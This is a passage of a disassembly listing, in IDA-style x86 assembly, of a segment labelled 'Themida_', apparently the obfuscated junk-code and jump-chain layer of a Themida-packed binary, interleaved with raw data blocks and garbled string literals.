		add	ebp, esi
		sub	ebp, 14DE3141h
		jmp	loc_557EDB
; ---------------------------------------------------------------------------
byte_55474F	db 0FFh			; DATA XREF: Themida_:0054F580o
		dd 0E3E92434h, 0B9FFFFDFh, 68A81EDEh, 10F3ED81h, 0C5814A92h
		dd 736249E0h, 4E29ED81h, 0CD29005Eh, 4E29C581h,	0ED81005Eh
		dd 736249E0h, 43DCBE56h, 0CE816F7Ch, 7585E14h, 17E9DEF7h
		db 29h,	2 dup(0)
byte_55478F	db 0FFh			; DATA XREF: Themida_:0054F574o
		dd 0B8503C77h, 59CF4C87h, 4244431h, 2434FF58h, 0E6895658h
		dd 4C681h, 0B8500000h, 4, 48BC601h, 6438E924h, 0E7890000h
		dd 0FFC1F7E9h, 1B951FFh, 514FD95Bh, 0F7243487h,	0E974E9D6h
		dd 0DCE9FFFFh
		db 0AFh, 2 dup(0FFh)
byte_5547D7	db 66h			; DATA XREF: Themida_:0054F5D0o
		dd 6824048Bh, 1081h, 68242C89h,	4EFBh, 8904EC83h, 4832424h
		dd 48F0424h, 24048124h,	4, 4C5815Dh, 52000000h,	7CE9E289h
		dd 81FFFFF6h, 0DED04BEAh, 5A5D52CAh, 0FFE562E9h, 5DEF01FFh
		dd 694CBE56h, 0BD553D57h, 32943132h, 192AC581h,	0E5C149EAh
		dd 5D8BE906h, 0B9510000h, 31192E3Ch, 371DE955h,	91680000h
		dd 0FF03B61Ch, 505F2434h, 405E089h, 5000000h, 4, 5C240487h
		dd 2414F757h, 62DDE9h, 348B5D00h, 0EAE95524h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55486F:				; CODE XREF: Themida_:005563D6j
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
dword_554874	dd 240C8B66h, 0E904EC83h, 0FFFFF7AAh, 8904EC83h, 25E92434h
					; DATA XREF: Themida_:0054F758o
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55488B:				; CODE XREF: Themida_:00555EDFj
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	7B2Ah
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_550609
; ---------------------------------------------------------------------------
		dd 0E959E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5548BA:				; CODE XREF: Themida_:00553CA6j
		sub	esp, 4
		jmp	loc_559907
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 0CF9BE957h, 0D9B6FFFFh, 5A66F300h, 5066C300h, 4B43E9h
		db 0
aM0RMfs		db '¬0ØR²mfS·ß',0       ; DATA XREF: Themida_:0054F4D4o
		dd 0C05B66FAh, 0C5E902EAh, 52000001h, 0C680D3B6h, 5AF400FCh
		dd 5258E528h, 0C6807BB6h, 5AF53079h, 0E964ED80h, 577Ah
		dd 0C02EEA80h, 0EA8003E2h, 0E9D700A3h, 41D6h, 335AD501h
		dd 0C4E9242Ch, 5A000032h, 1C865366h, 86D3F624h,	5B66241Ch
		dd 4940E9h
		db 0
; ---------------------------------------------------------------------------


loc_554939:				; CODE XREF: Themida_:00553EB9j
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54FB5C
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FFE698E9h, 93EB81FFh, 57533126h,	4660E9h
		dd 242C8700h, 0E924248Bh, 6520h, 55240489h, 0FD58E0BDh
		dd 14BE5642h, 8177C372h, 0BA060BCEh, 0B27E965h,	44290000h
		dd 0E9580424h, 0FFFFAE1Fh, 8168C281h, 0D0018EB9h, 2404875Ah
		dd 8124248Bh, 4C4h, 34AE900h, 0BE560000h, 68646539h, 45E9F701h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5549BB:				; CODE XREF: Themida_:005512EEj
		mov	[esp], eax
		mov	eax, 6D9E4E1Dh
		xor	eax, 6D9E4E35h
		push	eax
		jmp	loc_5580E1
; ---------------------------------------------------------------------------
		dw 0C631h
		dd 0D3E9D031h, 1FFFFEBh, 0EE3AE9FDh, 405FFFFh, 83000000h
		dd 48704E8h, 0B7E95C24h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5549EF:				; CODE XREF: Themida_:00555802j
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	eax, cl
		jmp	loc_55B8FE
; ---------------------------------------------------------------------------
		dd 5902EF80h, 0A4E9F830h, 89FFFFB0h, 0DA93E9E1h, 0E389FFFFh
		dd 4C381h, 0EC830000h, 240C8904h, 315DC3B9h, 4E1C11Fh
		dd 3025BD55h, 0B2E93818h, 31FFFFF0h, 148B66C3h,	4EC8124h
		dd 0E9000000h, 0FFFFDB2Dh, 5D2434FFh, 4EC81h, 4890000h
		dd 5E08924h, 4,	405h, 4028E900h
		db 2 dup(0)
word_554A5E	dw 0B668h		; DATA XREF: Themida_:0054F5D4o
		dd 89000027h, 682434h, 0FF000002h, 348B2434h, 4C48124h
		dd 56000000h, 0E8E9E689h, 0BAFFFFBDh, 4, 875AD329h, 895C241Ch
		dd 0E9502414h, 0FFFFADA0h
; ---------------------------------------------------------------------------


loc_554A94:				; CODE XREF: Themida_:0054FDD3j
		pop	esp
		mov	[esp], ebx
		push	225561BEh
		pop	ebx
		and	ebx, 73C437C4h
		jmp	loc_55020D
; ---------------------------------------------------------------------------


loc_554AA9:				; CODE XREF: Themida_:00555F97j
		sub	edx, 22DA2677h
		jmp	loc_5564D1
; ---------------------------------------------------------------------------
		dd 0EAC0C2FEh, 0D4FBE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554ABE:				; CODE XREF: Themida_:0055693Ej
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0ED8108E5h, 0C8A4DF96h, 495DE989h, 5703E1C1h, 0FC0DB6BFh
		dd 0D190E90Fh, 0FA01FFFFh, 0E458E95Fh, 0B951FFFFh, 0C61397Eh
		dd 24048151h, 704D3AABh, 6EFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_554B11:				; CODE XREF: Themida_:00556CAAj
		push	edx
		mov	edx, 4
		sub	edi, 781178Dh
		add	edi, edx
		add	edi, 781178Dh
		jmp	loc_555EE4
; ---------------------------------------------------------------------------


loc_554B2A:				; CODE XREF: Themida_:00557D44j
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edi, ebp
		pop	ebp
		xor	eax, edi
		pop	edi
		add	ebx, 10EC2F67h
		add	ebx, 327C2DAAh
		jmp	loc_55434C
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 6CE9575Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554B53:				; CODE XREF: Themida_:005578C7j
		mov	ecx, 723922D5h
		neg	ecx
		dec	ecx
		not	ecx
		shl	ecx, 2
		add	ecx, 882FF0D9h
		or	esi, ecx
		pop	ecx
		push	1220h
		mov	[esp], ecx
		mov	ecx, 711F2561h
		jmp	loc_559037
; ---------------------------------------------------------------------------
		db 56h
		dd 1ED1E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B81:				; CODE XREF: Themida_:0055AD4Dj
		xor	eax, edi
		jmp	loc_55144E
; ---------------------------------------------------------------------------
dword_554B88	dd 0FF2434FFh, 57582434h, 0FFF6DCE9h, 0B95152FFh, 39646886h
					; DATA XREF: Themida_:0054F764o
		dd 4E34E949h, 875D0000h, 248B243Ch, 2424D324h, 0AC01E99Ch
		dd 6653FFFFh, 6647BBBBh, 665BD989h, 0E908E1C1h,	4C40h
		dd 8B240C87h, 41E92424h, 1FFFFBBh, 4CEAE9DAh, 0E95A0000h
		dd 0FFFFC7ACh, 5EFF6852h, 815A5B36h, 4063F6C2h,	2EAC13Eh
		dd 0B30AC281h, 3E91276h, 0B8000071h, 286D7628h,	0E0100540h
		dd 0C7892E8Dh, 28BB5358h, 0E92A6D2Ah, 0FFFFB16Ch
; ---------------------------------------------------------------------------


loc_554C10:				; CODE XREF: Themida_:00559457j
		sub	esi, ecx
		pop	ecx
		or	esi, 35056F45h
		add	esi, 8381047h
		jmp	loc_556438
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	405h, 0E074E900h, 0F581FFFFh, 54C31625h
		dd 6503E945h, 6CE90000h
		db 0ABh, 2 dup(0FFh)
byte_554C47	db 0ACh			; DATA XREF: Themida_:0054F714o
		dd 0EC81D830h, 4, 0E9241C89h, 5CABh, 0BB53D9F7h, 10883678h
		dd 68h,	241C2900h, 0E9DBF75Bh, 0FFFFE8BCh
; ---------------------------------------------------------------------------


loc_554C70:				; CODE XREF: Themida_:0055401Aj
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_550DF7
; ---------------------------------------------------------------------------


loc_554C89:				; CODE XREF: Themida_:0055519Fj
		add	esp, 4
		jmp	loc_559351
; ---------------------------------------------------------------------------
a31Sta		db '3<$1<$é’a',0
		dw 0E900h
		dd 0FFFFAB0Fh
; ---------------------------------------------------------------------------


loc_554CA4:				; CODE XREF: Themida_:00555CE0j
		and	eax, ebp
		pop	ebp
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		push	edx
		jmp	loc_5544B8
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2ABF771Eh, 0FFE36CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554CBD:				; CODE XREF: Themida_:00551137j
		push	0DDC0194h
		pop	edx
		xchg	ebx, edx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, edx
		jmp	loc_55A965
; ---------------------------------------------------------------------------


loc_554CD1:				; CODE XREF: Themida_:00559882j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55156B
; ---------------------------------------------------------------------------
		dd 769EBF57h, 0FD891FA6h, 0FFC6B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554CE9:				; CODE XREF: Themida_:00559C40j
		mov	ebp, edi
		jmp	loc_5568FD
; ---------------------------------------------------------------------------
		dd 0E911B753h, 553Bh, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 0E9241489h, 0FFFFACDFh
; ---------------------------------------------------------------------------


loc_554D10:				; CODE XREF: Themida_:0055A88Fj
		mov	edx, 4E6E33C2h
		push	eax
		mov	eax, 7E47FCDh
		add	edx, eax
		pop	eax
		jmp	loc_55240E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 26857h, 0E95F0000h, 0FFFFB910h
; ---------------------------------------------------------------------------


loc_554D30:				; CODE XREF: Themida_:005520FEj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		pop	esi
		pop	ebp
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 76A72080h
		sub	dword ptr [esp+4], 2E8976C1h
		jmp	loc_5539DB
; ---------------------------------------------------------------------------
byte_554D53	db 0FFh			; DATA XREF: Themida_:0054F6F4o
		dd 34FF2434h, 0C4815824h, 4, 5907E956h,	0C3810000h, 441B6EE8h
		dd 0EB81F301h, 441B6EE8h, 241C875Eh, 0D324248Bh, 30E92424h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D83:				; CODE XREF: Themida_:0055231Dj
		xor	[esp+4], ebx
		pop	ebx
		pop	ebp
		push	ecx
		jmp	loc_558B36
; ---------------------------------------------------------------------------
aZSF		db '‡<$éÑF',0
		db 0
; ---------------------------------------------------------------------------


loc_554D97:				; CODE XREF: Themida_:00555F06j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 71F17E3Bh
		add	edx, 5EF8677Ch
		shr	edx, 6
		jmp	loc_556009
; ---------------------------------------------------------------------------
aLascss?	db '±«€é–é‘?',0
		dw 8300h
		dd 895004C4h, 405E0h, 0C0830000h, 24048704h, 0E954525Ch
		dd 0FFFFABCFh, 0F6F6C381h, 0DA896CFDh, 14F7525Bh, 0E9425A24h
		dd 0FFFFF337h, 30AE95Ch, 0EA890000h, 5D2434FFh,	653EE9h
		dd 70126800h, 3AE90000h, 87000068h, 88E9241Ch, 37h, 0B55159EBh
		dd 0ADED80BCh, 0D5E9EB28h, 6, 0F0305BDEh, 5A2434FFh, 0E904C483h
		dd 0FFFFE070h
; ---------------------------------------------------------------------------


loc_554E2C:				; CODE XREF: Themida_:0055899Fj
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_55ADE5
		push	dword ptr [edi+1Ch]
		push	2470h
		mov	[esp], ebp
		mov	ebp, 13D3177h
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_551D13
; ---------------------------------------------------------------------------
		db 66h,	81h, 0C6h
		dd 8166760Dh, 666354EEh, 0F2E9F189h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554E7B:				; CODE XREF: Themida_:0055754Aj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A14E
; ---------------------------------------------------------------------------
		dd 5259C828h, 1301E950h, 34FF0000h, 0C4835824h,	2434FF04h
		dd 53240C8Bh, 0FFCA8BE9h
		db 0FFh
byte_554EB1	db 0ADh, 2Dh, 2Ch	; DATA XREF: Themida_:0054F630o
		dd 56C2728h, 79F640E8h,	0D1030E2Dh, 56D8294Ch, 3B6BA6BEh
		dd 68C6816Eh, 0E9DE9597h, 1C00h, 0AD8BA52h, 0D729578Bh
		dd 24048B5Ah, 20F4E950h, 0E1D10000h, 24D068h, 240C8900h
		dd 0E92414F7h, 3DE4h, 24343359h, 3702E9h
		db 0
; ---------------------------------------------------------------------------


loc_554F01:				; CODE XREF: Themida_:0055241Aj
		add	edx, 27BB4BF9h
		xor	edx, 967BB590h
		add	ebx, 1F3D4B7Fh
		add	ebx, edx
		jmp	loc_55BF01
; ---------------------------------------------------------------------------


loc_554F1A:				; CODE XREF: Themida_:00558848j
		pop	edx
		jmp	loc_5593E6
; ---------------------------------------------------------------------------
		dd 2C681h, 0FBE90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554F2B:				; CODE XREF: Themida_:00550D0Cj
		push	esi
		jmp	loc_553E5B
; ---------------------------------------------------------------------------


loc_554F31:				; CODE XREF: Themida_:005577B7j
		mov	ebx, edi
		pop	edi
		sub	ebp, 2F461BD3h
		jmp	loc_54F9D2
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4C781h, 3C870000h, 51665C24h,	516623B1h
		dd 526680B1h, 0F1008EB6h, 0F1805A66h, 66C8289Fh, 0E9240C8Bh
		dd 0FFFFC02Bh, 240C8966h, 0FFA83AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554F79:				; CODE XREF: Themida_:00552C0Cj
		pop	eax
		add	eax, 5233260Bh
		add	eax, 4BC5F7Eh
		add	eax, 11EB2BECh
		sub	eax, 41F02F56h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559FFA
; ---------------------------------------------------------------------------
byte_554FA9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F584o
		dd 83240C8Bh, 0AE904C4h, 5FFFFACh, 64AF5320h, 0F9BB5356h
		dd 0D12E563Bh, 8E3C1EBh, 0EB81DBF7h, 6320316Bh,	0E4C38143h
		dd 89CD0746h, 0DF34E9DEh, 0C481FFFFh, 4, 81240C8Bh, 4C4h
		dd 0A7C1E900h, 0EF80FFFFh, 0EEDEE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554FFA:				; CODE XREF: Themida_:00552433j
		push	eax
		push	ebp
		sub	dword ptr [esp], 0D887E80h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0D887E80h
		add	eax, esi
		jmp	loc_551AF6
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0Fh
		dd 5000029h, 643F6F07h,	3630E02Dh, 24348B24h, 4C481h, 53E90000h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555037:				; CODE XREF: Themida_:005500A4j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_55530C
; ---------------------------------------------------------------------------
		db 1, 0DFh, 81h
		dd 970A4FEFh, 0A6EF8141h, 5B12AC47h, 31243C33h,	10E9243Ch
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55505F:				; CODE XREF: Themida_:0055A27Bj
		mov	esp, [esp]
		push	512Bh
		jmp	loc_55775B
; ---------------------------------------------------------------------------


loc_55506C:				; CODE XREF: Themida_:0055AABCj
		push	ebp
		mov	ebp, 30980A75h
		xor	ebp, 19567016h
		dec	ebp
		shl	ebp, 8
		shl	ebp, 2
		shr	ebp, 2
		xor	ebp, 0E7A6201h
		add	[edx], ebp
		pop	ebp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_553C98
; ---------------------------------------------------------------------------
		db 2Dh
		dd 34F00A9Bh, 0A6E95257h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5550A7:				; CODE XREF: Themida_:0055BB2Cj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_55A3FB
; ---------------------------------------------------------------------------


loc_5550C7:				; CODE XREF: Themida_:005503BEj
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_5588DB
		push	1
		mov	edx, [esp]
		push	edi
		push	5AD4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5588A7
; ---------------------------------------------------------------------------
		dd 0E9D5F75Bh, 0FFFFAA9Ch, 68240C89h, 38h, 0EEC18159h
		dd 1102B41h, 0EEE981D1h, 50102B41h, 5413DA68h, 0E9575862h
		dd 0FFFFD1BFh
dword_55511C	dd 51240C8Bh, 0C1815954h, 4, 4EC81h, 2C890000h,	0EC815024h
					; DATA XREF: Themida_:0054F65Co
		dd 4, 0E9242C89h, 6B10h, 128DE581h, 0C5816D8Bh,	3F210B2Ah
		dd 8102E5C1h, 3000A3C5h, 0A9C5810Eh, 31F50E26h,	0A6E95DEFh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553D6E
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 805B0000h, 3DE9C6E9h, 0BD000025h, 4,	9AE9EF01h
		db 0BEh, 2 dup(0FFh)
byte_55518F	db 66h			; DATA XREF: Themida_:0054F4ECo
		dd 0E9240C8Bh, 0FFFFECA7h
; ---------------------------------------------------------------------------


loc_555198:				; CODE XREF: Themida_:00555642j
		pop	ecx
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_554C89
; ---------------------------------------------------------------------------
		dd 240C8966h, 0E16E9h
		db 0
; ---------------------------------------------------------------------------


loc_5551AD:				; CODE XREF: Themida_:005564E8j
		add	ecx, ebp
		jmp	loc_55954D
; ---------------------------------------------------------------------------
		dd 5C37C681h, 0F5015705h, 8BEE015Eh, 0C483242Ch, 4EE8104h
		dd 87000000h, 895C2434h, 0DEE92414h, 0C100004Eh, 24E906E0h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5551DF:				; CODE XREF: Themida_:0055691Ej
		push	23B7h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		pop	eax
		jmp	loc_559829
; ---------------------------------------------------------------------------
		dd 0BD555A5Ah, 2394803h, 0FFD572E9h, 0FFEA81FFh, 8132AE5Bh
		dd 811917CAh, 8EEA814Ch, 55149777h, 0B2B018BDh,	5DEA3187h
		dd 2FE9D329h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555237:				; CODE XREF: Themida_:0055A8FEj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_552A77
; ---------------------------------------------------------------------------
byte_555245	db 83h,	0ECh, 4		; DATA XREF: Themida_:0054F700o
aI4SO		db '‰4$é·O',0
		align 10h
dword_555250	dd 0F8C681ADh, 81649645h, 3E517BEEh, 52C60127h,	7C58C9BAh
					; DATA XREF: Themida_:0054F4D8o
		dd 4EEA8177h, 52503E07h, 0B80C3DBAh, 6FF28179h,	810EF931h
		dd 83667AC2h, 8EAC11Eh,	407DC281h, 0EA814013h, 57EC4423h
		dd 5E27E9h, 532D5E00h, 1560E0Eh, 0E5305F8h, 0B668560Eh
		dd 8900000Dh, 5CBB241Ch, 816F3B76h, 0D70344F3h,	14F7532Eh
		dd 0F3815B24h, 0ED37898Ah, 112E2B2Dh, 9B7E96Bh,	5B540000h
		dd 4B951h, 0EB810000h, 5EFD44FDh, 0FFB046E9h, 240C33FFh
		dd 6624248Bh, 48F6654h,	66536624h, 660002BBh, 2245C01h
		dd 0BCE95B66h, 5CFFFFA4h, 0E23E9h, 73E95400h
		db 0ADh, 2 dup(0FFh)
byte_555303	db 66h			; DATA XREF: Themida_:0054F504o
		dd 0E924048Bh, 0FFFFA9D5h
; ---------------------------------------------------------------------------


loc_55530C:				; CODE XREF: Themida_:00555040j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	edi
		mov	edi, 1
		jmp	loc_555BAF
; ---------------------------------------------------------------------------
		dd 8B241C33h, 0D1E92424h, 53FFFFCAh, 5B0187BBh,	43DBF724h
		dd 93D0F793h, 0EC38143h, 29585015h, 0EA815BDAh,	2CF93B24h
		dd 73E9CA01h, 0BEFFFFE8h, 42FF382Ch, 505EF589h,	0BD5FC4B8h
		dd 58C53113h, 34FFEA29h, 0C4835D24h, 0BF12E904h, 0E8C1FFFFh
		dd 14472D02h, 61E97B40h, 1FFFFEAh, 0FFEE81DEh, 5B36B82Fh
		dd 8704C683h, 68E92434h, 0E9000057h, 0FFFFA423h, 12646857h
		dd 815F51D0h, 0FA7778F7h, 1425E91Fh, 0E2880000h, 0FF5AD588h
		dd 0C5E92434h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553AF:				; CODE XREF: Themida_:0055A073j
		pop	esi
		add	edx, ebp
		jmp	loc_5546FA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815D2434h, 4C4h, 3ED6E900h, 4FE0000h, 0E4E99C24h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553CF:				; CODE XREF: Themida_:0055990Aj
		push	69FE4D28h
		jmp	loc_55AB02
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C9h
		dd 81636757h, 0D65842F7h, 0F7814F6Dh, 46103AC7h, 4EC81h
		dd 4890000h, 7FBB5324h,	8139DE18h, 0C66CC8C3h, 3F53E96Ah
		db 2 dup(0)
word_555406	dw 34FFh		; DATA XREF: Themida_:0054F548o
		dd 24048B24h, 81E38953h, 4C3h, 4C38100h, 33000000h, 1C31241Ch
		dd 0FEF6E924h, 0AB7FFFFh, 0F6DCE780h, 7EEF80DFh, 80FEE780h
		dd 0FE30DFC7h, 83241C8Bh, 0F48804C4h, 8124148Bh, 4C4h
		dd 0E9E73000h, 0FFFFD863h
; ---------------------------------------------------------------------------


loc_555450:				; CODE XREF: Themida_:00552EB8j
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_55B7C4
; ---------------------------------------------------------------------------
		dw 862Dh
		dd 122A555h, 558605F0h,	515E22A5h, 36A0BE56h, 0F1895707h
		dd 4EC815Eh, 89000000h,	28BB241Ch, 0E974104Ah, 0FFFFCBA3h
		dd 5DEF015Ah, 2474FF57h, 439E904h, 0C4830000h, 0D0E3E902h
		dd 248BFFFFh, 4C48324h,	68CFE9h, 96D6F700h, 8196D0F7h
		dd 0D879E5E6h, 5FE94E40h, 0BFFFFFEEh, 7090367Bh, 5D3FC781h
		dd 0F7815D9Fh, 327F0F40h, 233EEF81h, 0FB29A3D7h, 5BD9315Fh
		dd 1DE9CA01h
		db 3Ah,	2 dup(0)
byte_5554E7	db 0F7h			; DATA XREF: Themida_:0054F64Co
		dd 0E99C241Ch, 0FFFFA8B0h, 60E46859h, 89E90000h, 1000041h
		dd 69E95BDEh, 80FFFFDEh, 222C70EAh, 64EDE9h, 4C48100h
		dd 0FE000000h, 0ABE380CBh, 429AE9h, 0BF575900h,	0
		dd 0FE87F729h, 81DEF75Fh, 892E30F6h, 0A3FAE917h, 48FFFFFh
		dd 0FEE95C24h, 0BF000055h, 20A2600Fh, 41DEE9h, 81DFF700h
		dd 4419F4F7h, 0C7814735h, 0E203318h, 0F75FF909h, 87E981D1h
		dd 81756517h, 0B2701EE9h, 58E9E9FFh
		db 2 dup(0)
word_55556E	dw 8B66h		; DATA XREF: Themida_:0054F644o
		dd 5CE92404h, 81000050h, 0AB042444h, 5B6D6C35h,	5B40E9h
		db 0
; ---------------------------------------------------------------------------


loc_555585:				; CODE XREF: Themida_:0055B3EFj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_558B8F
; ---------------------------------------------------------------------------
dword_5555A0	dd 24048B66h, 4EC81h, 34890000h, 53E68924h, 4BBh, 55EE8100h
					; DATA XREF: Themida_:0054F4F8o
		dd 176BF66h, 55C681DEh,	5B76BF66h, 8904EC83h, 0B3E9241Ch
		dd 58000023h, 4244481h,	703F3E9Eh, 4245C01h, 4246C81h
		dd 703F3E9Eh, 4246C81h,	761D6B38h, 0FFFF86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5555F1:				; CODE XREF: Themida_:0055B4BFj
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 72B26619h
		xor	edx, 38C57289h
		sub	edx, 31B4AC8Dh
		push	edx
		sub	dword ptr [esp], 3B7362C4h
		pop	ebp
		jmp	loc_555B6F
; ---------------------------------------------------------------------------
byte_555615	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0054F68Co
		dd 5959h, 0E92434FFh, 5BB4h, 0FFA18AE9h, 3EFC0FFh, 37CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_555631:				; CODE XREF: Themida_:00556FD5j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		pop	esi
		push	70C4h
		mov	[esp], ecx
		push	esi
		jmp	loc_555198
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4C581h, 0BF570000h, 4, 2241ED81h, 0FD011F76h
		dd 0FFB591E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555665:				; CODE XREF: Themida_:0055259Aj
		xor	edi, [esp]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------


loc_555671:				; CODE XREF: Themida_:0055BF63j
		mov	eax, 80E78E27h
		push	eax
		mov	eax, 6F900F4Dh
		jmp	loc_550B67
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0D8010000h, 2055Bh, 0D7E90000h, 3300001Dh, 0C31240Ch
		dd 42B0E924h, 34FF0000h, 0BD8CE924h, 835DFFFFh,	0BE5604C4h
		dd 4, 348BF501h, 4C48324h, 2362E9h, 56E18900h, 74526855h
		dd 815D69E3h, 0E3744EEDh, 0E9EE8969h, 2594h
; ---------------------------------------------------------------------------


loc_5556D4:				; CODE XREF: Themida_:0054FFADj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3F2D1075h
		add	ebx, 570F5EFAh
		shr	ebx, 1
		push	eax
		push	ebp
		push	26D80FB1h
		pop	ebp
		shl	ebp, 4
		jmp	loc_5560CA
; ---------------------------------------------------------------------------
		db 87h
		dd 665C242Ch, 5024148Bh, 0C7E9E089h, 0B9FFFFF2h, 4, 0FFAE41E9h
		dd 0AB0F66FFh, 0E99C2404h, 0FFFFFEF8h, 8B24048Fh, 88532424h
		dd 0EBB68D7h, 0C890000h, 46CEE924h, 555B0000h, 1473B850h
		dd 0DE0D3F49h, 2D03D632h, 0E546CF7Ch, 0C158C589h, 0E5C107EDh
		dd 39F58108h, 81B310A6h, 0C868C9C7h, 0E3C78147h, 1248323h
		dd 0E3EF81EFh, 81248323h, 0C868C9EFh, 0CF015D47h, 6939EF81h
		dd 0EF810620h, 64654598h, 4EC83FDh, 9DAE9h, 4EC8100h, 89000000h
		dd 0FFB9240Ch, 0E9242F78h, 0FFFFD67Eh, 8904EC83h, 2EBD242Ch
		dd 45331D08h, 2CEBE581h, 0F5E91403h, 59FFFFF0h,	7F84BD55h
		dd 33050F88h, 29693D19h, 19332DE8h, 3CE9693Dh, 8FFFFFAAh
		dd 248B2404h, 0E9CFE924h, 5559FFFFh, 654E9h
		db 0
; ---------------------------------------------------------------------------


loc_5557E9:				; CODE XREF: Themida_:00556838j
		add	esi, 81E8C96Dh
		add	edx, esi
		pop	esi
		add	eax, 10EA703Bh
